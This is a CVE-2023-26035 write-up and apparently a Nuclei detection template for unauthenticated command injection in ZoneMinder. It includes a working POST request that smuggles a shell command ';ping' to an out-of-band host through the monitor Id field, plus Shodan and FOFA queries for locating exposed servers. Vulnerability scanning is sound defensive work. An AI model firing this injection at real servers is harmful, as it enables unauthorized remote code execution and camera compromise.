ZoneMinder is a free, open source Closed-circuit television software application for Linux which supports IP, USB and Analog cameras.Versions prior to 1.36.33 and 1.37.33 are vulnerable to Unauthenticated Remote Code Execution via Missing Authorization. There are no permissions check on the snapshot action, which expects an id to fetch an existing monitor but can be passed an object to create a new one instead. TriggerOn ends up calling shell_exec using the supplied Id.
PoC
id: CVE-2023-26035
info:
name: ZoneMinder Snapshots - Command Injection
author: Unblvr1,whotwagner
severity: critical
description: |
ZoneMinder is a free, open source Closed-circuit television software application for Linux which supports IP, USB and Analog cameras.Versions prior to 1.36.33 and 1.37.33 are vulnerable to Unauthenticated Remote Code Execution via Missing Authorization. There are no permissions check on the snapshot action, which expects an id to fetch an existing monitor but can be passed an object to create a new one instead. TriggerOn ends up calling shell_exec using the supplied Id.
impact: |
Unauthenticated attackers can execute arbitrary commands on the ZoneMinder server by exploiting missing authorization checks, potentially compromising all monitored camera systems and recorded footage.
remediation: |
Upgrade to ZoneMinder version 1.36.33 or 1.37.33 or later.
reference:
- https://www.rapid7.com/db/modules/exploit/unix/webapp/zoneminder_snapshots/
- https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-72rg-h4vf-29gr
- https://packetstormsecurity.com/files/175675/ZoneMinder-Snapshots-Command-Injection.html
- https://github.com/rvizx/CVE-2023-26035
- https://nvd.nist.gov/vuln/detail/CVE-2023-26035
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-26035
cwe-id: CWE-862
epss-score: 0.80462
epss-percentile: 0.99601
cpe: cpe:2.3:a:zoneminder:zoneminder:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: zoneminder
product: zoneminder
shodan-query:
- html:"ZM - Login"
- http.html:"zm - login"
fofa-query: body="zm - login"
tags: cve,cve2023,rce,zoneminder,unauth,packetstorm,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET /index.php HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: csrf_token
group: 1
regex:
- csrfMagicToken = \"(key:[a-f0-9]{40},\d+)
internal: true
- raw:
- |
POST /index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
view=snapshot&action=create&monitor_ids[0][Id]=;ping+{{interactsh-url}}&__csrf_magic={{csrf_token}}
matchers:
- type: dsl
dsl:
- contains(interactsh_protocol, "dns")
# digest: 4a0a00473045022100c14226f800476e175826d89c53b88e51b542560205470dfeb1ffb651af15c91a022031889a47dc30f9e8e6a6071cddf00f3220885da27a75eecbc726d7a0ece49a2e:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.